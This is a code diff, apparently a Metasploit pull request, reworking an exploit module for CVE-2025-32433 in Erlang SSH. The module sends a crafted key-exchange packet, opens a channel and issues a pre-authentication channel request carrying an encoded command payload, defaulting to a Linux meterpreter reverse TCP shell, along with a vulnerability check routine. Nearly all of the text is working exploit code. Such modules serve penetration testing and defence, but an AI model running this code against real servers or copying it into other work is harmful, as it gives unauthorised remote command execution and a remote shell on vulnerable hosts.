55
66class MetasploitModule < Msf ::Exploit ::Remote
77 Rank = ExcellentRanking
8+
9+ prepend Msf ::Exploit ::Remote ::AutoCheck
810 include Msf ::Exploit ::Remote ::Tcp
9- include Msf ::Auxiliary ::Scanner
1011 include Msf ::Auxiliary ::Report
1112
1213 def initialize ( info = { } )
@@ -45,6 +46,7 @@ def initialize(info = {})
4546 'Type' => :linux_cmd ,
4647 'DefaultOptions' => {
4748 'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp'
49+ # cmd/linux/http/aarch64/meterpreter/reverse_tcp has also been tested successfully with this module.
4850 }
4951 }
5052 ] ,
@@ -59,19 +61,20 @@ def initialize(info = {})
5961 }
6062 ]
6163 ] ,
62- 'Privileged' => false ,
64+ 'Privileged' => true ,
6365 'DisclosureDate' => '2025-04-16' ,
6466 'DefaultTarget' => 0 ,
6567 'Notes' => {
6668 'Stability' => [ CRASH_SAFE ] ,
6769 'Reliability' => [ REPEATABLE_SESSION ] ,
68- 'SideEffects' => [ ARTIFACTS_ON_DISK , IOC_IN_LOGS ]
70+ 'SideEffects' => [ IOC_IN_LOGS ]
6971 }
7072 )
7173 )
7274
7375 register_options ( [
74- OptBool . new ( 'CHECK_ONLY' , [ false , 'Only check for vulnerability without exploiting' , false ] )
76+ Opt ::RPORT ( 22 ) ,
77+ OptString . new ( 'SSH_IDENT' , [ true , 'SSH client identification string sent to the server' , 'SSH-2.0-OpenSSH_8.9' ] )
7578 ] )
7679 end
7780
@@ -95,7 +98,7 @@ def build_channel_request(channel_id, command)
9598
9699 # builds a minimal but valid SSH_MSG_KEXINIT packet
97100 def build_kexinit
98- cookie = " \x00 " * 16
101+ cookie = SecureRandom . random_bytes ( 16 )
99102 "\x14 " +
100103 cookie +
101104 name_list (
@@ -115,10 +118,6 @@ def build_kexinit
115118 [ 0 ] . pack ( 'N' )
116119 end
117120
118- def message ( msg )
119- "ssh://#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } - #{ msg } "
120- end
121-
122121 # formats a list of names into an SSH-compatible string (comma-separated)
123122 def name_list ( names )
124123 string_payload ( names . join ( ',' ) )
@@ -142,112 +141,100 @@ def string_payload(str)
142141 [ s_bytes . length ] . pack ( 'N' ) + s_bytes
143142 end
144143
145- def check_host ( target_host )
146- print_status ( message ( 'Starting scanner for CVE-2025-32433' ) )
144+ def check
145+ print_status ( 'Starting scanner for CVE-2025-32433' )
147146
148147 connect
149- sock . put ( "SSH-2.0-OpenSSH_8.9 \r \n " )
148+ sock . put ( "#{ datastore [ 'SSH_IDENT' ] } \r \n " )
150149 banner = sock . get_once ( 1024 , 10 )
151150 unless banner
152- print_status ( message ( 'No banner received' ) )
153- return Exploit ::CheckCode ::Unknown
151+ return Exploit ::CheckCode ::Unknown ( 'No banner received' )
154152 end
155153
156154 unless banner . to_s . downcase . include? ( 'erlang' )
157- print_status ( message ( "Not an Erlang SSH service: #{ banner . strip } " ) )
158- return Exploit ::CheckCode ::Safe
155+ return Exploit ::CheckCode ::Safe ( "Not an Erlang SSH service: #{ banner . strip } " )
159156 end
157+
160158 sleep ( 0.5 )
161159
162- print_status ( message ( 'Sending SSH_MSG_KEXINIT...' ) )
160+ print_status ( 'Sending SSH_MSG_KEXINIT...' )
163161 kex_packet = build_kexinit
164162 sock . put ( pad_packet ( kex_packet , 8 ) )
165163 sleep ( 0.5 )
166164
167165 response = sock . get_once ( 1024 , 5 )
168166 unless response
169- print_status ( message ( "Detected Erlang SSH service: #{ banner . strip } , but no response to KEXINIT" ) )
170- return Exploit ::CheckCode ::Detected
167+ return Exploit ::CheckCode ::Detected ( "Detected Erlang SSH service: #{ banner . strip } , but no response to KEXINIT" )
171168 end
172169
173- print_status ( message ( 'Sending SSH_MSG_CHANNEL_OPEN...' ) )
170+ print_status ( 'Sending SSH_MSG_CHANNEL_OPEN...' )
174171 chan_open = build_channel_open ( 0 )
175172 sock . put ( pad_packet ( chan_open , 8 ) )
176173 sleep ( 0.5 )
177174
178- print_status ( message ( 'Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...' ) )
175+ print_status ( 'Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...' )
179176 chan_req = build_channel_request ( 0 , Rex ::Text . rand_text_alpha ( rand ( 4 ..8 ) ) . to_s )
180177 sock . put ( pad_packet ( chan_req , 8 ) )
181178 sleep ( 0.5 )
182179
183180 begin
184181 sock . get_once ( 1024 , 5 )
185182 rescue EOFError , Errno ::ECONNRESET
186- print_error ( message ( 'The target is not vulnerable to CVE-2025-32433.' ) )
187- return Exploit ::CheckCode ::Safe
183+ return Exploit ::CheckCode ::Safe ( 'The target is not vulnerable to CVE-2025-32433.' )
188184 end
189185 sock . close
190186
191- note = 'The target is vulnerable to CVE-2025-32433.'
192- print_good ( message ( note ) )
193187 report_vuln (
194- host : target_host ,
188+ host : datastore [ 'RHOST' ] ,
195189 name : name ,
196190 refs : references ,
197- info : note
191+ info : 'The target is vulnerable to CVE-2025-32433.'
198192 )
199193 Exploit ::CheckCode ::Vulnerable
200194 rescue Rex ::ConnectionError
201- print_error ( message ( 'Failed to connect to the target' ) )
202- Exploit ::CheckCode ::Unknown
195+ Exploit ::CheckCode ::Unknown ( 'Failed to connect to the target' )
203196 rescue Rex ::TimeoutError
204- print_error ( message ( 'Connection timed out' ) )
205- Exploit ::CheckCode ::Unknown
197+ Exploit ::CheckCode ::Unknown ( 'Connection timed out' )
206198 ensure
207199 disconnect unless sock . nil?
208200 end
209201
210202 def exploit
211- if datastore [ 'CHECK_ONLY' ]
212- check_host ( datastore [ 'RHOST' ] )
213- return
214- end
215-
216- print_status ( message ( 'Starting exploit for CVE-2025-32433' ) )
203+ print_status ( 'Starting exploit for CVE-2025-32433' )
217204 connect
218205 sock . put ( "SSH-2.0-OpenSSH_8.9\r \n " )
219206 banner = sock . get_once ( 1024 )
220207 if banner
221- print_good ( message ( "Received banner: #{ banner . strip } " ) )
208+ print_good ( "Received banner: #{ banner . strip } " )
222209 else
223210 fail_with ( Failure ::Unknown , 'No banner received' )
224211 end
225212 sleep ( 0.5 )
226213
227- print_status ( message ( 'Sending SSH_MSG_KEXINIT...' ) )
214+ print_status ( 'Sending SSH_MSG_KEXINIT...' )
228215 kex_packet = build_kexinit
229216 sock . put ( pad_packet ( kex_packet , 8 ) )
230217 sleep ( 0.5 )
231218
232- print_status ( message ( 'Sending SSH_MSG_CHANNEL_OPEN...' ) )
219+ print_status ( 'Sending SSH_MSG_CHANNEL_OPEN...' )
233220 chan_open = build_channel_open ( 0 )
234221 sock . put ( pad_packet ( chan_open , 8 ) )
235222 sleep ( 0.5 )
236223
237- print_status ( message ( 'Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...' ) )
224+ print_status ( 'Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...' )
238225 chan_req = build_channel_request ( 0 , payload . encoded )
239226 sock . put ( pad_packet ( chan_req , 8 ) )
240227
241228 begin
242229 response = sock . get_once ( 1024 , 5 )
243230 if response
244- vprint_status ( message ( "Received response: #{ response . unpack ( 'H*' ) . first } " ) )
245- print_good ( message ( 'Payload sent successfully' ) )
231+ vprint_status ( "Received response: #{ response . unpack ( 'H*' ) . first } " )
232+ print_good ( 'Payload sent successfully' )
246233 else
247- print_status ( message ( 'No response within timeout period (which is expected)' ) )
234+ print_status ( 'No response within timeout period (which is expected)' )
248235 end
249236 rescue Rex ::TimeoutError
250- print_status ( message ( 'No response within timeout period (which is expected)' ) )
237+ print_status ( 'No response within timeout period (which is expected)' )
251238 end
252239 sock . close
253240 rescue Rex ::ConnectionError
0 commit comments